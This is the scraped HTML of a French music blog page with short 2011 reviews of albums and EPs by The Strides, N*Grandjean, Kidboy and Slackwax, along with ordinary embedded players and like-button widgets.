<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Freggae%2Fthe-strides-reclamation-1665&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><strong><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.musicalicious.net/wp-content/uploads/2011/11/the_strides-reclamation-2011.jpg"><img class="alignleft size-thumbnail wp-image-1669" style="border: 1px solid black; margin-left: 5px; margin-right: 5px;" title="The Strides - Reclamation" src="http://www.musicalicious.net/wp-content/uploads/2011/11/the_strides-reclamation-2011-150x150.jpg" alt="" width="150" height="150" /></a>Artiste</span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : The Strides<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nom de l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Reclamation<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Date de parution</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Novembre 2011 / <a href="http://www.recordkicks.com/" target="_blank">Record Kicks</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Genre musical</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Afrobeat/<a href="http://www.musicalicious.net/index.php/tag/reggae" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Reggae">Reggae</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nationalité</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Australie<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Ecouter l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.deezer.com/music/the-strides/reclamation-1211735" target="_blank">Deezer</a> / <a href="spotify:album:7nAq5xoD7nMTj0wzkaV4fj" target="_blank">Spotify</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Liens</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="https://www.facebook.com/thestridesband" target="_blank">Facebook</a> / <a href="http://www.myspace.com/thestridesband" target="_blank">Myspace</a> /<a href="http://www.thestridesband.com/" target="_blank">Website<br />
</a></span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Vous aimerez aussi</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Aiff</span></span></span></p>
<p><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><br />
</span></span></span><span style="font-family: 'book antiqua'; font-size: small;"><span style="font-family: 'book antiqua', palatino;"><strong>Morceaux choisi</strong></span><span style="font-family: 'book antiqua', palatino;"><strong>s</strong> :</span></span> Storm Clouds, Some O&#8217;dem, Umbu Gumbi</p>
<p><iframe scrolling="no" frameborder="0" allowTransparency="true" src="http://www.deezer.com/fr/plugins/player?autoplay=false&#038;playlist=true&#038;width=520&#038;height=270&#038;scover=true&#038;type=album&#038;id=1211735&#038;title=" width="540" height="270"></iframe></p>
<p><span style="font-family: 'book antiqua';"><strong>Description  : </strong></span></p>
<p><span style="font-family: 'book antiqua';">The Strides est un groupe composé de 10 membres originaire d&#8217;Australie, leur deuxième album &laquo;&nbsp;Reclamation&nbsp;&raquo; est paru depuis la Mi-Novembre sur Record Kicks. Cet album se compose de 10 titres et est un savant mélange de <a href="http://www.musicalicious.net/index.php/tag/reggae" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Reggae">Reggae</a>, d&#8217;Afrobeat<strong>, </strong>de <a href="http://www.musicalicious.net/index.php/tag/jazz" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Jazz">Jazz</a> et de Hip Hop. On retrouve un groove cohérent tout au long de l&#8217;abum et paradoxalement un nouvel univers sonore qui s&#8217;immisce à chaque piste<strong>. </strong>Une très belle réussite en cette fin d&#8217;année.<br />
</span></p>
<p style="text-align: right;"><em>M.A</em></p>

<div class="cat_tags"><div class="category">Tagged as: <a href="http://www.musicalicious.net/index.php/tag/afrobeat" rel="tag">afrobeat</a>, <a href="http://www.musicalicious.net/index.php/tag/record-kicks" rel="tag">record kicks</a>, <a href="http://www.musicalicious.net/index.php/tag/reggae" rel="tag">Reggae</a>, <a href="http://www.musicalicious.net/index.php/tag/the-strides" rel="tag">the strides</a></div>
<div class="continue"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/reggae/the-strides-reclamation-1665#respond">Aucun commentaire</a></div><div class="clear"></div></div><div class="cat_tags_close"></div>

</div>

<div class="post-1621 post hentry category-folk-acoustic tag-folk-acoustic tag-nikolaj-grandjean tag-slow-shark-records" id="post-1621">
<h2><a title="Nikolaj Grandjean (N*Grandjean) &#8211; Fairly Young" href="http://www.musicalicious.net/index.php/folk-acoustic/nikolaj-grandjean-fairly-young-1621" rel="bookmark">Nikolaj Grandjean (N*Grandjean) &#8211; Fairly Young</a></h2>
<div class="comm_date"><span class="data"><span class="j">15</span><br/><span class="my">oct/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/folk-acoustic/nikolaj-grandjean-fairly-young-1621#respond">0</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Ffolk-acoustic%2Fnikolaj-grandjean-fairly-young-1621&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><a href="http://www.musicalicious.net/wp-content/uploads/2011/09/nikolaj_grandjean-fairly-young-cd-2011.jpg"><img class="alignleft size-thumbnail wp-image-1627" style="border: 1px solid black;" title="Nikolaj Grandjean - Fairly Young" src="http://www.musicalicious.net/wp-content/uploads/2011/09/nikolaj_grandjean-fairly-young-cd-2011-150x150.jpg" alt="" width="170" height="170" /></a><strong>Artiste</strong> : <a href="http://www.musicalicious.net/index.php/tag/nikolaj-grandjean" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec nikolaj grandjean">Nikolaj Grandjean</a> (N*Grandjean)<br />
<strong>Nom de l&#8217;album</strong> : Fairly Young<br />
<strong>Date de parution</strong> : Septembre 2011 / <a href="http://www.slowsharkrecords.dk/" target="_blank">Slow Shark Records<br />
</a> <strong>Genre musical</strong> : Acoustic/Folk<br />
<strong>Nationalité</strong> : Danemark<br />
<strong>Ecouter l&#8217;album sur</strong> : <a href="http://www.deezer.com/music/n-grandjean-2/fairly-young-1242642" target="_blank">Deezer</a> / <a href="spotify:album:4obucLrsj42IBLhu93K7iz" target="_blank">Spotify<strong> </strong></a><br />
<strong>Liens </strong>: <a href="http://www.myspace.com/ngrandjean" target="_self">Myspace</a> / <a href="http://ngrandjean.net/" target="_self">Site Officiel</a> / <a href="http://www.twitter.com/ngrandjean" target="_blank">Twitter</a> / <a href="https://www.facebook.com/themusicof?v=info" target="_blank">Facebook<br />
</a><a href="https://www.facebook.com/themusicof?v=info" target="_blank"><br />
</a></p>
<p><strong>Morceaux Choisis</strong> : All eyes on she I desire, Every hour spent, One shot, In bits and pieces, The truth</p>
<p><iframe scrolling="no" frameborder="0" allowTransparency="true" src="http://www.deezer.com/fr/plugins/player?autoplay=false&#038;playlist=true&#038;width=520&#038;height=250&#038;scover=true&#038;type=album&#038;id=1242642&#038;title=" width="530" height="250"></iframe></p>
<p><strong>Description </strong>:</p>
<p>N*Grandjean (<a href="http://www.musicalicious.net/index.php/tag/nikolaj-grandjean" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec nikolaj grandjean">Nikolaj Grandjean</a>) dont je vous ai parlé lors d&#8217;<a href="http://www.musicalicious.net/index.php/derniers-ajouts/nikolaj-grandjean-ngrandjean-carrying-stars-187" target="_blank">un article précédent</a> pour la sortie de son excellent 1er album est de nouveau à pied d’œuvre. En effet, le danois a sorti en Septembre 2011 son 2eme opus sur le label Slow Shark et ne déroge pas à la ligne de conduite de l&#8217;artiste : de l&#8217;acoustique à la pop ambient dont la voix très aérienne et transparente de N*Grandjean donne à ce disque un sentiment de légèreté finement construit. Ceux qui connaissaient déjà sa musique ne seront pas déçus, pour les autres, c&#8217;est un disque à écouter en complément du premier !</p>
<p>M.A</p>

<div class="cat_tags"><div class="category">Tagged as: <a href="http://www.musicalicious.net/index.php/tag/folk-acoustic" rel="tag">Folk/Acoustic</a>, <a href="http://www.musicalicious.net/index.php/tag/nikolaj-grandjean" rel="tag">nikolaj grandjean</a>, <a href="http://www.musicalicious.net/index.php/tag/slow-shark-records" rel="tag">slow shark records</a></div>
<div class="continue"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/folk-acoustic/nikolaj-grandjean-fairly-young-1621#respond">Aucun commentaire</a></div><div class="clear"></div></div><div class="cat_tags_close"></div>

</div>

<div class="post-1622 post hentry category-soul-funk tag-dixiefrog tag-malted-milk tag-soul-of-a-woman tag-soulfunk" id="post-1622">
<h2><a title="Malted Milk &#8211; Soul Of A Woman EP" href="http://www.musicalicious.net/index.php/soul-funk/malted-milk-soul-of-a-woman-ep-1622" rel="bookmark">Malted Milk &#8211; Soul Of A Woman EP</a></h2>
<div class="comm_date"><span class="data"><span class="j">8</span><br/><span class="my">oct/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/soul-funk/malted-milk-soul-of-a-woman-ep-1622#respond">0</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Fsoul-funk%2Fmalted-milk-soul-of-a-woman-ep-1622&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="380" height="285" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="https://www.youtube.com/v/oHXsVp6a0Q8" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="380" height="285" src="https://www.youtube.com/v/oHXsVp6a0Q8" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><iframe scrolling="no" frameborder="0" allowTransparency="true" src="http://www.deezer.com/fr/plugins/player?autoplay=false&#038;playlist=true&#038;width=710&#038;height=308&#038;scover=true&#038;type=album&#038;id=1289829&#038;title=" width="710" height="308"></iframe></p>

<div class="cat_tags"><div class="category">Tagged as: <a href="http://www.musicalicious.net/index.php/tag/dixiefrog" rel="tag">dixiefrog</a>, <a href="http://www.musicalicious.net/index.php/tag/malted-milk" rel="tag">malted milk</a>, <a href="http://www.musicalicious.net/index.php/tag/soul-of-a-woman" rel="tag">soul of a woman</a>, <a href="http://www.musicalicious.net/index.php/tag/soulfunk" rel="tag">Soul/Funk</a></div>
<div class="continue"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/soul-funk/malted-milk-soul-of-a-woman-ep-1622#respond">Aucun commentaire</a></div><div class="clear"></div></div><div class="cat_tags_close"></div>

</div>

<div class="post-1599 post hentry category-derniers-ajouts category-hip-hop-rap category-soul-funk tag-hip-hop-jazzy tag-hip-hop-rap tag-jazz-and-milk tag-kidboy tag-rap-jazzy" id="post-1599">
<h2><a title="Kidboy &#8211; Disparate EP" href="http://www.musicalicious.net/index.php/derniers-ajouts/kidboy-disparate-ep-1599" rel="bookmark">Kidboy &#8211; Disparate EP</a></h2>
<div class="comm_date"><span class="data"><span class="j">11</span><br/><span class="my">juil/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/derniers-ajouts/kidboy-disparate-ep-1599#respond">17</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Fderniers-ajouts%2Fkidboy-disparate-ep-1599&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><strong><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.musicalicious.net/wp-content/uploads/2011/07/Kidboy-Disparate_EP_A_b.jpg"><img class="alignleft size-thumbnail wp-image-1601" style="margin-left: 5px; margin-right: 5px; border: 1px solid black;" title="Kidboy - Disparate EP" src="http://www.musicalicious.net/wp-content/uploads/2011/07/Kidboy-Disparate_EP_A_b-150x150.jpg" alt="Kidboy - Disparate EP" width="145" height="145" /></a>Artiste</span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Kidboy<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nom de l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Disparate EP<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Date de parution</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Juillet 2011 / <a href="http://www.jazzandmilk.com" target="_blank">Jazz &amp; Milk</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Genre musical</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Hip-Hop / Funk / Latin<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nationalité</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Espagne<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> </span></span></span></strong><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Liens</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.myspace.com/kidboymusic" target="_blank">Myspace</a> / <a href="http://soundcloud.com/kidboy" target="_blank">Soundcloud</a> / <a href="https://www.facebook.com/pages/kidboy/55332421455" target="_blank">Facebook</a></span></span></span><strong><span style="font-size: small;"> </span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Vous aimerez aussi</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Point Blank, Hus, Nieve, Soulchef</span></span></span></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;"><span style="font-family: 'book antiqua'; font-size: small;"><span style="font-family: 'book antiqua', palatino;"><strong>Morceaux choisis</strong></span><span style="font-family: 'book antiqua', palatino;"> : The Culture Ft. Ohmega Watts, A Moment To Think Ft. Blu Rum 13, Verbeneo<br />
</span></span></p>
<object type="application/x-shockwave-flash" data="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" width="500" height="76" id="mp3fp_1"><param name="movie" value="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" /><param name="wmode" value="transparent"/><param name="FlashVars" value="mp3=http://www.musicalicious.net/wp-content/uploads/2011/07/02 - The Culture Feat. Ohmega Watts.mp3|http://www.musicalicious.net/wp-content/uploads/2011/07/04 - A Moment To Think Feat. Blu Rum 13.mp3|http://www.musicalicious.net/wp-content/uploads/2011/07/05 - Verbeneo.mp3&amp;title= Kidboy - The Culture Ft. Ohmega Watts| Kidboy - A Moment To Think Ft. Blu Rum 13| Kidboy - Verbeneo&amp;width=500&amp;height=76&amp;volume=100&amp;autoplay=0&amp;loop=0&amp;showvolume=1&amp;showslider=1&amp;showloading=autohide&amp;buttonwidth=25&amp;sliderwidth=15&amp;sliderheight=10&amp;volumewidth=30&amp;volumeheight=10&amp;loadingcolor=BBDFDC&amp;bgcolor1=7c7c7c&amp;bgcolor2=333333&amp;slidercolor1=cccccc&amp;slidercolor2=999999&amp;sliderovercolor=BBDFDC&amp;buttoncolor=ffffff&amp;buttonovercolor=BBDFDC&amp;textcolor=ffffff&amp;showlist=1&amp;playlistcolor=000000&amp;playlistalpha=100&amp;currentmp3color=BBDFDC&amp;scrollbarcolor=ffffff&amp;scrollbarovercolor=BBDFDC&amp;showplaylistnumbers=1" /></object></em><span style="font-family: 'book antiqua';"><strong> </strong></span></p>
<p><span style="font-family: 'book antiqua';"><strong>Description  : </strong>C&#8217;est sur le podcast <a href="itpc://www.righton.fm/podcast.php?type=radioshows&amp;type_id=19" target="_blank">Sound Dimension</a> de Javi Frias que j&#8217;ai entendu Kidboy. Producteur et rappeur, cet artiste originaire de Cadiz en Espagne vient de sortir son premier EP 6 titres sur le jeune label munichois<a href="http://www.jazzandmilk.com" target="_blank"> Jazz &amp; Milk.</a> Un EP  où les titres vont du funk latino au hip-hop jazzy, en passant par quelques touches d&#8217;électronique. On retiendra surtout pour les amateurs de rap <a href="http://www.musicalicious.net/index.php/tag/jazz" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Jazz">jazz</a>, les titres The Culture en featuring avec Omega Watts (Ubiquity Records) et A Moment To Think avec Blu Rum 13. C&#8217;est du tout bon pour ce premier essai, voici en écoute mes 3 titres favoris.</span></p>
<p><span style="font-family: 'book antiqua';"><strong>Tracklist</strong> :</span></p>
<p>1. Yo Me Voy De Aqui<br />
2. The Culture (feat. Ohmega Watts)<br />
3. Changüí De Manteca (feat. Julio Cesar Rodriguez)<br />
4. A Moment To Think (feat. BluRum13)<br />
5. Verbeneo<br />
6. The Culture (Peruvian Mix)</p>
<p><em>M.A</em></p>

<div class="cat_tags"><div class="category">Tagged as: <a href="http://www.musicalicious.net/index.php/tag/hip-hop-jazzy" rel="tag">hip-hop jazzy</a>, <a href="http://www.musicalicious.net/index.php/tag/hip-hop-rap" rel="tag">Hip-Hop/Rap</a>, <a href="http://www.musicalicious.net/index.php/tag/jazz-and-milk" rel="tag">jazz and milk</a>, <a href="http://www.musicalicious.net/index.php/tag/kidboy" rel="tag">kidboy</a>, <a href="http://www.musicalicious.net/index.php/tag/rap-jazzy" rel="tag">rap jazzy</a></div>
<div class="continue"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/derniers-ajouts/kidboy-disparate-ep-1599#respond">17 commentaires</a></div><div class="clear"></div></div><div class="cat_tags_close"></div>

</div>

<div class="post-1580 post hentry category-derniers-ajouts category-electro-jazz-electronic category-soul-funk tag-anna-leyne tag-close-to-my-fire tag-modernsoul tag-slackwax tag-trinah" id="post-1580">
<h2><a title="Slackwax &#8211; Close To My Fire (Single)" href="http://www.musicalicious.net/index.php/derniers-ajouts/slackwax-close-to-my-fire-single-1580" rel="bookmark">Slackwax &#8211; Close To My Fire (Single)</a></h2>
<div class="comm_date"><span class="data"><span class="j">5</span><br/><span class="my">juin/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/derniers-ajouts/slackwax-close-to-my-fire-single-1580#respond">0</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Fderniers-ajouts%2Fslackwax-close-to-my-fire-single-1580&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><strong><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.musicalicious.net/wp-content/uploads/2011/06/slack.jpg"><img class="alignleft size-medium wp-image-1585" style="margin-left: 5px; margin-right: 5px; border: 1px solid black;" title="Slackwax - Close To My Fire" src="http://www.musicalicious.net/wp-content/uploads/2011/06/slack-300x300.jpg" alt="" width="150" height="150" /></a>Artiste</span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : <a href="http://www.musicalicious.net/index.php/tag/slackwax" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Slackwax">Slackwax</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nom de l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Close To My Fire (Single)<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Date de parution</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : 2011 / Modernsoul<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Genre musical</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Electro-<a href="http://www.musicalicious.net/index.php/tag/jazz" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Jazz">Jazz</a>/Soul<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nationalité</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Allemande<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Ecouter l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : <a href="spotify:album:6kLIBzH3GeXdl5aN5QCxri" target="_blank">Spotify</a></span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> (Single)<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Site Officiel</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.slackwax.de/" target="_blank">www.slackwax.de</a></span></span></span><strong> </strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Vous aimerez aussi</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : <a href="http://www.musicalicious.net/index.php/tag/trinah" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Trinah">Trinah</a>, Zeebee, Saint Privat, Waldeck</span></span></span></p>
<p><span style="font-size: small;"></span><span style="font-family: 'book antiqua'; font-size: small;"><span style="font-family: 'book antiqua', palatino;"><strong><br />
Morceaux choisis</strong></span><span style="font-family: 'book antiqua', palatino;"> : Close To My Fire, Come Away<br />
</span></span></p>
<object type="application/x-shockwave-flash" data="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" width="500" height="59" id="mp3fp_2"><param name="movie" value="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" /><param name="wmode" value="transparent"/><param name="FlashVars" value="mp3=http://www.musicalicious.net/wp-content/uploads/2011/06/01 - Close To My Fire.mp3|http://www.musicalicious.net/wp-content/uploads/2009/07/02 - Come Away.mp3&amp;title= Slackwax - Close To  My Fire| Slackwax - Come Away&amp;width=500&amp;height=59&amp;volume=100&amp;autoplay=0&amp;loop=0&amp;showvolume=1&amp;showslider=1&amp;showloading=autohide&amp;buttonwidth=25&amp;sliderwidth=15&amp;sliderheight=10&amp;volumewidth=30&amp;volumeheight=10&amp;loadingcolor=BBDFDC&amp;bgcolor1=7c7c7c&amp;bgcolor2=333333&amp;slidercolor1=cccccc&amp;slidercolor2=999999&amp;sliderovercolor=BBDFDC&amp;buttoncolor=ffffff&amp;buttonovercolor=BBDFDC&amp;textcolor=ffffff&amp;showlist=1&amp;playlistcolor=000000&amp;playlistalpha=100&amp;currentmp3color=BBDFDC&amp;scrollbarcolor=ffffff&amp;scrollbarovercolor=BBDFDC&amp;showplaylistnumbers=1" /></object></em></p>
<p><span style="font-family: 'book antiqua';"><strong>Description  : </strong>En décembre 2009, j&#8217; avais déjà parlé de ce duo allemand nommé <a href="http://www.musicalicious.net/index.php/tag/slackwax" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Slackwax">Slackwax</a> (<a href="http://www.musicalicious.net/index.php/derniers-ajouts/slackwax-ft-trinah-midnight-617" target="_blank">article ici</a>)  qui faisait les merveilles des publicitaires. En 2011 rien a changé, cette fois-ci c&#8217;est la publicité de la nouvelle série 6 de BMW  qui se voit sublimée. Le changement notable se trouve dans la voix de la chanteuse, en effet ce n&#8217;est pas <a href="http://www.musicalicious.net/index.php/tag/trinah" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Trinah">Trinah</a> mais Anna Leyne qui accompagne les deux allemands sur &laquo;&nbsp;Close To My Fire&nbsp;&raquo; mais aussi sur &laquo;&nbsp;Come Away&nbsp;&raquo;. S&#8217;en suit 2 Remix, un de Deep Fried et le dernier de Dubango. Un single qui devrait introduire l&#8217;album des <a href="http://www.musicalicious.net/index.php/tag/slackwax" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Slackwax">Slackwax</a> annoncé courant 2011<strong>.</strong> Stay Tuned !</span></p>
<p><span style="font-family: 'book antiqua';">Tracklist : </span><br />
<span style="font-family: 'book antiqua';"><br />
1. Close To My Fire<br />
2. Come Away<br />
3. Close To My Fire (Deep Fried Remix)<br />
4. Close To My Fire (Dubango Remix by Rauscher)</span></p>
<p style="text-align: right;"><em>M.A</em></p>

<div class="cat_tags"><div class="category">Tagged as: <a href="http://www.musicalicious.net/index.php/tag/anna-leyne" rel="tag">anna leyne</a>, <a href="http://www.musicalicious.net/index.php/tag/close-to-my-fire" rel="tag">close to my fire</a>, <a href="http://www.musicalicious.net/index.php/tag/modernsoul" rel="tag">modernsoul</a>, <a href="http://www.musicalicious.net/index.php/tag/slackwax" rel="tag">Slackwax</a>, <a href="http://www.musicalicious.net/index.php/tag/trinah" rel="tag">Trinah</a></div>
<div class="continue"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/derniers-ajouts/slackwax-close-to-my-fire-single-1580#respond">Aucun commentaire</a></div><div class="clear"></div></div><div class="cat_tags_close"></div>

</div>

<div class="post-1551 post hentry category-decouvertes category-hip-hop-rap tag-danemark tag-decouvertes tag-drafts-ep tag-hip-hop-rap tag-louilou tag-point-blank" id="post-1551">
<h2><a title="Point Blank &#8211; Drafts EP" href="http://www.musicalicious.net/index.php/decouvertes/point-blank-drafts-ep-1551" rel="bookmark">Point Blank &#8211; Drafts EP</a></h2>
<div class="comm_date"><span class="data"><span class="j">2</span><br/><span class="my">juin/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/decouvertes/point-blank-drafts-ep-1551#respond">0</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
